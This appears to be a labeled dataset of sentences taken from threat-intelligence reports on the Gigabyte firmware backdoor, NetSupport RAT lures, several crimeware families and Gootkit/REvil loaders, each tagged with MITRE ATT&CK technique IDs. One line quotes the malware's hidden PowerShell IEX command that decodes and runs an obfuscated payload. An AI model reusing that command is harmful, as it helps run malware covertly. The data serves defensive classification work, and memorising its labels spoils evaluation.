{"sentence": "The mechanism described here is similar to the methods used by other UEFI firmware implants such as LoJax, MosiacRegressor, MoonBounce, and Vector-EDK, referenced previously.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Stage 2: Downloading and running further executables", "labels": ["T1105"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "The dropped Windows executable is a .NET application.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "It downloads and runs an executable payload from one of the following locations, depending on how it’s been configured: http://mb.download.gigabyte.com/FileList/Swhttp/LiveUpdate4 https://mb.download.gigabyte.com/FileList/Swhttp/LiveUpdate4 https://software-nas/Swhttp/LiveUpdate4 Plain HTTP (the first bullet above) should never be used for updating privileged code as it is easily compromised via Machine-in-the-middle (MITM) attacks.", "labels": ["T1105"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "However, we noticed that even when using the HTTPS-enabled options, remote server certificate validation is not implemented correctly.", "labels": ["T1071.001"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "The firmware does not implement any cryptographic digital signature verification or any other validation over the executables.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "The dropped executable and the normally-downloaded Gigabyte tools do have a Gigabyte cryptographic signature that satisfies the code signing requirements of Microsoft Windows, but this does little to offset malicious use, especially if exploited using Living-off-the-Land techniques (like in the recent alert regarding Volt Typhoon attackers).", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "As a result, any threat actor can use this to persistently infect vulnerable systems either via MITM or compromised infrastructure. Risks and Impact These issues expose organizations to a wide range of risks and attack scenarios.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Abuse of an OEM backdoor by threat actors – Previously, threat actors have taken advantage of legitimate but insecure/vulnerable “OEM backdoor” software built into the firmware of PCs.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Most notably, Sednit group (APT28, FancyBear) exploited Computrace LoJack to masquerade as legitimate laptop anti-theft feature.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Compromise of the OEM update infrastructure and supply chain – Gigabyte does have documentation on their website for this feature so it may be legitimate, but we cannot confirm what is happening within Gigabyte.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "In August 2021, Gigabyte experienced a breach of critical data by the RansomEXX group and then experienced another breach in October 2021 by the AvosLocker group.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Persistence using UEFI Rootkits and Implants – UEFI rootkits and implants are some of the stealthiest and most powerful forms of malware in existence.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "They reside in firmware on motherboards or within EFI system partitions of storage media, and execute before the operating system, allowing them to completely subvert the OS and security controls running in higher layers.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Additionally, since most of the UEFI code exists on the motherboard instead of storage drives, UEFI threats will easily persist even if drives are wiped and the OS is reinstalled.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "The rate of discovery of new UEFI rootkits has accelerated sharply in recent years as seen by the discovery of LoJax (2018), MosaicRegressor (2020), FinSpy (2021) ESPecter (2021), MoonBounce (2022), CosmicStrand (2022), and BlackLotus (2023).", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Often, the above implants made their native Windows executables look like legitimate update tools.", "labels": ["T1036.005"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "In the case of MosaicRegressor, the Windows payload was named “IntelUpdater.exe” MITM attacks on firmware and software update features – Additionally, the insecure nature of the update process opens the door to MITM techniques via a compromised router, compromised device on the same network segment, DNS poisoning, or other network manipulation.", "labels": ["T1036.005"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "It is also important to note that the third connection option, https://software-nas/Swhttp/LiveUpdate4 , is not a fully qualified domain name, but rather, a machine name that would presumably be on the local network.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "This means an attacker on a local subnet could trick the implant into connecting to their system, without the need for DNS spoofing.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Even if the backdoor executable is removed, the firmware will simply drop it again the next time the system boots up.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Recommendations We recommend exercising caution when using Gigabyte systems or systems with affected motherboards.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Organizations can also take the following actions to minimize the risk: Scan and monitor systems and firmware updates in order to detect affected Gigabyte systems and the backdoor-like tools embedded in firmware.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Administrators can also block the following URLs: http://mb.download.gigabyte.com/FileList/Swhttp/LiveUpdate4 https://mb.download.gigabyte.com/FileList/Swhttp/LiveUpdate4 https://software-nas/Swhttp/LiveUpdate4 Researchers at Eclypsium Labs are continuing to investigate for any signs of malicious activity related to this discovery.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "For more information or assistance contact Eclypsium at [email protected].", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "A list of affected models is available here.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor  Eclypsium  Supply Chain Security for the Modern Enterprise"}
{"sentence": "Researchers at ASEC recently reported on a NetSupport RAT campaign that utilizes Pokemon as the social engineering lure.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Threat actors staged a malicious website, hosting a Pokemon-based NFT game, offering both a fun and financially rewarding experience.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "In reality, those drawn into the site are coerced into downloading the trojanized NetSupport RAT client, allowing attackers full access to their device.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport Manager, used maliciously or otherwise, provides full and complete control over the target device.", "labels": ["T1219"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Once the client has been installed, attackers can access, acquire, and manipulate any data on the device (exfiltrate data, execute additional payloads).", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "In addition, the software allows at least the following: Real-time screen monitoring, optimized for monitoring multiple devices Taking control or redirect user screens Capturing screenshots, audio, video Malicious versions are constantly being sold or rented out via underground crime marketplaces.", "labels": ["T1113"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport Manager RAT offered for rental As NetSupport Manager is a legitimate tool that has a long history of development, it is highly attractive to attackers as it can be relied on to work ‘out of the box’.", "labels": ["T1219"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Additionally, it is thoroughly documented and actively supported: benefits that are less likely with custom-built malware that provides similar functionality such as Andromeda, Nanocore, CirenegRAT, Dark Comet and others.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Malicious use of NetSupport Manager (aka NetSupport RAT) has been observed since at least late 2017.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "The use of “legitimate” or COTS (Commercial off the Shelf) tools is highly beneficial to attackers when attempting to achieve the greatest degree of stealth.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Custom-written malware can often be detected by some layer of protection, such as EPP and EDR tools, so it is often advantageous to utilize a legitimate tool, even if it takes some creativity to deliver the remote software client.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "On doing so, the victim unknowingly installs the NetSupport RAT, a doctored version of the NetSupport Manager client (client32.exe) that gives the attacker immediate and direct control of the infected device.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "While this specific attack was centered around the Pokemon theme, other phishing lures are known to be used.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Some recent NetSupport RAT campaigns utilize .ISO", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "files as droppers.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "This allows the attackers to evade certain types of detection.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "This technique has been used by ransomware actors as well such as by both Maze and Ragnar Locker.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "When opened, the ISO files will contain either the NetSupport RAT installer (with configs/support files) or a .LNK file redirecting the victim to said installer.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Technical Details A typical example of this kind of .ISO file is the sample CLF_security.iso (288603f501926756c236e368a1fdc7d128f4f9a1).", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "This particular .ISO contains an embedded .EXE file (CLFSECUR.EXE) which is then utilized to drop and execute the installer for NetSupport RAT.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Sample 4233ff7941da62b86fc2c2d92be0572c9ab534c8 has been observed in multiple ISO files masquerading as legitimate software, including: CodeTwo Exchange Manager PCFresh 2022 SDK Tools Google Chrome Google Crash Handler Steelray Project Setup BrowserRenew.iso CLFsecurity.", "labels": ["T1036.005"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "ISO Cloudflare_security_setup.iso The RAT installation is disguised to look similar to a Google Chrome installation.", "labels": ["T1036.005"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport RAT installer disguised as Google Chrome setup.", "labels": ["T1027", "T1036.005"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "The sample is obfuscated via the Babadeda crypter.", "labels": ["T1027"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "For example: ~\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\NetSupport.url In this case, the shortcut links to \\AppData\\Roaming\\Steelray", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Project Viewer", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "In addition, the sample generates a scheduled task with multiple triggers.", "labels": ["T1053.005"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport RAT Persistence via Scheduled Task Install directory of NetSupport RAT The RAT performs a number of discovery operations to understand its host environment.", "labels": ["T1053.005"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Additional data is gleaned via WMI queries such as: SELECT *", "labels": ["T1047", "T1082"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "FROM Win32_ComputerSystem SELECT *", "labels": ["T1082"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "FROM Win32_SystemEnclosure", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "The malware deploys some anti-analysis measures such as attempting to detect the presence of a debugger via IsDebuggerPresent, and all running processes are enumerated and logged via EnumProcesses (32-bit processes).", "labels": ["T1057"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "For example, Sleep statements may be used to delay execution by hours in order to trick sandboxes used in malware analysis or simply to disguise the association between the infection and the social engineering event from the user.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport RAT has the ability to drop and execute additional components.", "labels": ["T1105"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Data files and executables are also written to ~\\Program Files (x86) \\Google\\Temp.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "A large number of legitimate Google Chrome support files are also written to this location.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "These are used by the malware in order to facilitate the fake Google Chrome installation.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Conclusion NetSupport Manager is a long-standing tool which, like TeamViewer, has unfortunately attracted ample use by cybercriminals.", "labels": [], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "NetSupport RAT, once installed, is very robust and powerful, and threat actors are able to masquerade the dropper or installer in any way they see fit.", "labels": ["T1036.005"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "In addition, threat actors using this tool are very quick to update their lures and find ways to entice their victims into installing the malicious remote control software.", "labels": ["T1204.002"], "doc_title": "Gotta Catch Em All  Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"}
{"sentence": "Although ransomware is still a hot topic on which we will keep on publishing, we also investigate and publish about other threats.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "For questions or more information on our crimeware reporting service, please contact crimewareintel@kaspersky.com.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "RapperBot: “intelligent brute forcing” RapperBot, based on Mirai (but with a different C2 command protocol), is a worm infecting IoT devices with the ultimate goal to launch DDoS attacks against non-HTTP targets.", "labels": ["T1110"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "We observed the first sample in June 2022, when it was targeting SSH and not Telnet services.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "In Q4 2022, we noticed 112k RapperBot infection attempts coming from over 2k unique IP addresses.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "What sets RapperBot apart from other worms is its “intelligent” way of brute forcing: it checks the prompt and, based on the prompt, it selects the appropriate credentials.", "labels": ["T1110"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "This method speeds up the brute forcing process significantly because it doesn’t have to go over a huge list of credentials.", "labels": ["T1110"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "RapperBot then determines the processor architecture and infects the device.", "labels": ["T1082"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The downloading of the actual malware is done via a variety of possible commands (for example, wget, curl, tftp and ftpget).", "labels": ["T1570"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Rhadamanthys: malvertising on websites and in search engines Rhadamanthys is a new information stealer first presented on a Russian-speaking cyber criminal forum in September 2022 and offered as a MaaS platform.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "According to the author, the malware: Is written in C/C++, while the C2 is written in Golang.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Is able to do a “stealthy” infection.", "labels": ["T1082"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Is able to steal/gather information on CPU type, screen resolution, supported wallets, and so on.", "labels": ["T1082"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Evades EDR/AV. Has encrypted communication with the C2.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Online advertising platforms offer advertisers the possibility to bid in order to display brief ads in search engines, such as Google, but also websites, mobile apps and more.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The trick they pull is to display ads representing legitimate applications but in fact containing links to phishing websites.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "These phishing websites contain fake installers, luring users into downloading and installing the malware.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "While analyzing Rhadamanthys, we noticed a strong connection with Hidden Bee miner.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Both samples use images to hide the payload inside and both have similar shellcodes for bootstrapping.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Additionally, both use “in-memory virtual file systems” and utilize Lua to load plugins and modules. Comparison between Rhandamanthys’s “prepare.bin” and Hidden Bee’s “preload” modules CUEMiner: distribution through BitTorrent and OneDrive In August 2021, a project was started on GitHub called SilentCryptoMiner, hosting the miner consisting of a downloader and the payload, bot source and the compiled builder, as well as additional software, such as a system watcher.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "During our investigation, we noticed two methods of spreading the malware.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The first is via trojanized cracked software downloaded via BitTorrent.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The other method is via trojanized cracked software that is downloaded from OneDrive sharing networks.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "How victims are lured into downloading these cracked packages is speculation, because we couldn’t find any direct links.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "This suggests some form of human interaction and social engineering.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Despite being written in .NET, it is wrapped by a C++ based dropper and it connects to a set of URLs, which is varying from sample to sample, to download the miner and configuration settings.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "It also performs several checks in order to ensure it is running on bare metal systems, and not on a virtual machine.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "In case all checks are passed, the malware: Reconfigures Windows Defender to exclude the user profile path and the entire system drive from scanning.", "labels": ["T1562.001"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Fetches configuration details from a hardcoded URL and saves it at different places (for example, c:\\logs.uce, %localappdata%\\logs.uce).", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Downloads the miner and watcher.", "labels": ["T1105"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The full list you can find in our private report.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "If it doesn’t detect any processes that consume lots of system power (for example, games), the miner software is launched.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "This is done in order to stay undetected on the system longer.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Conclusion Open source malware is often used by less skilled cybercriminals.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Nevertheless, they can be still quite active and effective, as is shown by the huge number of CUEMiner samples we detected.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "If along their cybercriminal career they gain more skills, such as programming and understanding security better, they often reuse and improve crucial source code parts from open source malware.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Code reuse and rebranding is also used quite often by cybercriminals.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "There are many ransomware variants that change names over time while mostly containing the same code base.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "For example, Rhadamantys stealer features some code overlaps with the Hidden Bee malware.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "To protect yourself against these threats, intelligence reports can help.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "If you want to stay up to date on the latest TTPs used by criminals or have questions about our private reports, please contact crimewareintel@kaspersky.com.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "On November 23, we received an alert from a partner about a resurgence of Gootkit infections in Germany.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "While analyzing the complex malware loader we made a surprising discovery.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The decision to serve one or the other payload happens after a check with the criminal infrastructure.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Gootkit attacks observed in Germany Security researcher TheAnalyst was the first to publicly identify an active campaign in November using a sophisticated loader that was eventually attributed to Gootkit, a banking Trojan not observed in the wild for some time.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Around the same time, we started receiving reports from some of our partners and their ISPs about Gootkit-related traffic.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "We were able to confirm Gootkit detections within our telemetry that were all located in Germany.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The template mimics a forum thread where a user asks in German for help about a specific topic and receives an answer which appears to be exactly what they were looking for.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "It’s worth noting that the hacked sites hosting this template are not German (only the template is); they simply happen to be vulnerable and are used as part of the threat actor’s infrastructure.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Figure 2: Compromised site loads decoy template to trick victims This fake forum posting is conditionally and dynamically created if the correct victim browses the compromised website.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "A script removes the legitimate webpage content from the DOM and adds its own content (the template showing a link to a file to download).", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Figure 3: A view of the HTML code behind the decoy template There is a server-side check prior to each visit to the page to determine if the user has already been served the fake template or not, in which case the webserver will return legitimate content instead.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Fileless execution and module installation", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The infection process starts once the victim executes a malicious script inside the zip archive they just downloaded.", "labels": ["T1027", "T1204.002"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Figure 4: Malicious script, heavily obfuscated This script is the first of several stages that leads to the execution of the final payload.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The obfuscation consists of three layers where one decodes content for the next.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The first stage (a version with cleaned formatting available here) decodes the next element: Figure 6: First stage script The decoded output is a comma-separated array of JavaScript blocks: Figure 7: Decoded comma-separated array of scripts There are four elements in the array that are referenced by their indexes.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "For example, the element with the index 0 means “constructor”, 1 is another block of JavaScript code, 2 is empty, 3 is a wrapper that causes a call to a supplied code.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Block 1 is responsible for reading/writing registry keys under “HKEY_CURRENT_USER\\SOFTWARE\\<script-specific name>”.", "labels": ["T1112"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "If it gets a response, it runs it further.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The above downloader script is the first stage of the loading process.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Functionality-wise it is almost identical in all the dropped files.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The differentiation between the variants starts in the next part, which is another JavaScript fetched from the C2 server.", "labels": ["T1105"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Stage 2 – The second JavaScript (downloaded from the C2)", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The expected response from the server is a decimal string, containing a pseudorandom marker used for validation.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The marker consists of “@[request argument]@”.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Figure 9: GET request with C2 server After conversion to ASCII, the next JavaScript is revealed, and the code is executed.", "labels": ["T1071.001"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "This JavaScript comes with an embedded PE payload which may be either a loader for Gootkit, or for the REvil ransomware.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "There are also some differences in the algorithm used to deobfuscate it.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Example for the Gootkit variant (commented, full) Figure 10: The downloaded JavaScript The downloaded code chunk is responsible for installing the persistent elements.", "labels": ["T1105"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "It also runs a Powershell script that reads the storage, decodes it and runs it further.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Stage 3 – The stored payload and the decoding Powershell", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The authors diversified the method of encoding and storing the payload.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "During our tests we observed two ways of encoding.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "In one of them, the PE is stored as a Base64 encoded string, and in the other as a hexadecimal string, obfuscated by having certain numbers substituted by a pattern.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The payload is usually stored as a list of registry keys, yet we also observed a variant in which similar content was written into a TXT file.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Example of the payload stored in a file: Figure 11: Payload as a file on disk The content of the file is an obfuscated Powershell script that runs another Base64 obfuscated layer that finally decodes the .NET payload.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Example of the Powershell script that runs to deobfuscate the file: \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Bypass -windowstyle hidden -Command \"IEX (([System.IO.File]::ReadAllText('C:\\Users\\[username]\\bkquwxd.txt')).Replace('~',''));\" Below we will study two examples of the loader: One that leads to execution of the REvil ransomware, and another that leads to the execution of Gootkit.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Example 1—Loading REvil ransomware", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "In the analyzed case, the whole flow led to execution of REvil ransomware.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The sandbox analysis presenting this case is available here.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Figure 12: Fragment of the payload stored in the registry, encoded as a hexadecimal string obfuscated with a pattern After writing the keys, the JavaScript deploys a PowerShell command that is responsible for decoding and running the stored content.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
